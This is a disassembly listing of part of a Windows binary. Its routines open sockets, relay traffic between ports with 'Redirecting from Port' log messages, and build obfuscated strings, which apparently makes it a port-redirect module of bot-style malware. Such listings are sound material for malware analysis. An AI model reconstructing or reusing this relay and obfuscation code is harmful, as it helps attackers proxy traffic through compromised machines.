		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B240	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B2D0	proc near		; CODE XREF: sub_4020D1j
		sub	ecx, [ecx-4]
		jmp	sub_4013A2
sub_42B2D0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42B2E0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43BC08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401F82
		push	offset off_443D80
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43E1A0
		call	sub_4015D7
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B350	proc near		; CODE XREF: ___:00401398j sub_401F41j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42B368
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_42B368:				; CODE XREF: sub_42B350+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B350	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B380	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_40179E
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3A0	proc near		; CODE XREF: sub_40134Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42B42C
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B3CC:				; CODE XREF: sub_42B3A0+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx ; dword_50FC90
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp ; dword_50FC8C
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42B3CC


loc_42B42C:				; CODE XREF: sub_42B3A0+1Ej
					; sub_42B3A0+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B448
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B448:				; CODE XREF: sub_42B3A0+9Fj
		add	esp, 1000h
		retn
sub_42B3A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B480	proc near		; CODE XREF: sub_401663j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B480
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_443D80
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E1B0
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B480	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B4F0	proc near		; CODE XREF: ___:004013A7j sub_401B22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42B508
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_42B508:				; CODE XREF: sub_42B4F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B4F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B520	proc near		; CODE XREF: sub_401217j
		jmp	sub_40179E
sub_42B520	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B540	proc near		; CODE XREF: sub_40152Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42B70A
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42B598
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B598:				; CODE XREF: sub_42B540+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42B5F2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B5F2:				; CODE XREF: sub_42B540+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42B622
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B622:				; CODE XREF: sub_42B540+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_50FC50
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi ; dword_50FC50
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi ; dword_50FC50
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B70A
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B676:				; CODE XREF: sub_42B540+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx ; dword_50FC90
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6A0
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6A0:				; CODE XREF: sub_42B540+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp ; dword_50FC8C
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx ; dword_50FC90
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6DB
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6DB:				; CODE XREF: sub_42B540+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp ; dword_50FC8C
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B676
		jmp	short loc_42B70A
; ---------------------------------------------------------------------------


loc_42B702:				; CODE XREF: sub_42B540+15Ej
					; sub_42B540+199j
		push	0Ah
		call	near ptr 2821DA2h
		nop


loc_42B70A:				; CODE XREF: sub_42B540+27j
					; sub_42B540+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_50FC88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B71E
		push	eax
		call	edi ; dword_50FC88


loc_42B71E:				; CODE XREF: sub_42B540+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42B72C
		push	esi
		call	edi ; dword_50FC88


loc_42B72C:				; CODE XREF: sub_42B540+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42B540	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  48h	; H
		db 0BCh	; 
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; 
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; 
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; 
		db 0F1h	; 
		db  89h	; 
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; 
		db 0A0h	; 
		db  67h	; g
		db 0FDh	; 
		db 0FFh
		db  68h	; h
		db  80h	; 
		db  3Dh	; =
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; 
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; 
		db    6
		db 0C0h	; 
		db 0E1h	; 
		db  43h	; C
		db    0
		db 0E8h	; 
		db 0DAh	; 
		db  5Dh	; ]
		db 0FDh	; 
		db 0FFh
		db  8Bh	; 
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; 
		db 0C6h	; 
		db  5Eh	; ^
		db  64h	; d
		db  89h	; 
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  10h
		db 0C3h	; 
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B830:				; CODE XREF: ___:loc_4015F0j
					; ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401B8B
		test	byte ptr [esp+8], 1
		jz	short loc_42B848
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_42B848:				; CODE XREF: ___:0042B83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B860	proc near		; CODE XREF: sub_401B8Bj
		jmp	sub_40179E
sub_42B860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B880	proc near		; CODE XREF: sub_4019E2j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B880
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42BAB8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42B96B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B96B:				; CODE XREF: sub_42B880+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42BA64


loc_42B97F:				; CODE XREF: sub_42B880+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BA45
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42BA45
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42BA45
		push	0A9h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B9E5
		mov	ecx, eax
		call	sub_401663
		mov	edi, eax


loc_42B9E5:				; CODE XREF: sub_42B880+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FBE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013D4


loc_42BA45:				; CODE XREF: sub_42B880+111j
					; sub_42B880+133j ...
		push	0FAh
		nop
		call	near ptr 2821DA2h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42B97F


loc_42BA64:				; CODE XREF: sub_42B880+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42BA76
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42BA76:				; CODE XREF: sub_42B880+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017E4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h


loc_42BAB8:				; CODE XREF: sub_42B880+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B880	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42BB70	proc near		; CODE XREF: sub_4021DFj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42BB70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_42BB70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BE60:				; CODE XREF: ___:loc_40202Cj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BD84
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42BFC7
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh
		dd 7F000BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 3E80000h, 68FFFD53h,	443600h, 4C244C8Dh, 8B51026Ah
		dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	52CCE800h, 68FFFDh, 8D004436h
		dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
		dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD528Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 0DE80000h
		db 54h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42BFC7:				; CODE XREF: ___:0042BE9Dj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C0F7
		push	9Dh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42C00E
		mov	ecx, eax
		call	sub_401889
		mov	edi, eax
		jmp	short loc_42C010
; ---------------------------------------------------------------------------


loc_42C00E:				; CODE XREF: ___:0042C001j
		xor	edi, edi


loc_42C010:				; CODE XREF: ___:0042C00Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C0F7:				; CODE XREF: ___:0042BFDAj
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C220
		push	0A2h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42C13E
		mov	ecx, eax
		call	sub_4018DE
		mov	edi, eax
		jmp	short loc_42C140
; ---------------------------------------------------------------------------


loc_42C13E:				; CODE XREF: ___:0042C131j
		xor	edi, edi


loc_42C140:				; CODE XREF: ___:0042C13Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42C1EE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42C1F5
; ---------------------------------------------------------------------------


loc_42C1EE:				; CODE XREF: ___:0042C1E3j
		mov	byte ptr [edi+9Dh], 0


loc_42C1F5:				; CODE XREF: ___:0042C1ECj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42C220:				; CODE XREF: ___:0042C10Aj
		lea	ecx, [ebp+8Eh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C2ED
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42C26A
		mov	ecx, eax
		call	sub_40216C
		mov	edi, eax
		jmp	short loc_42C26C
; ---------------------------------------------------------------------------


loc_42C26A:				; CODE XREF: ___:0042C25Dj
		xor	edi, edi


loc_42C26C:				; CODE XREF: ___:0042C268j
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C2ED:				; CODE XREF: ___:0042C236j
		lea	ecx, [ebp+0BCh]
		call	sub_4014D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C519
		lea	ecx, [esp+30h]
		call	sub_401424
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
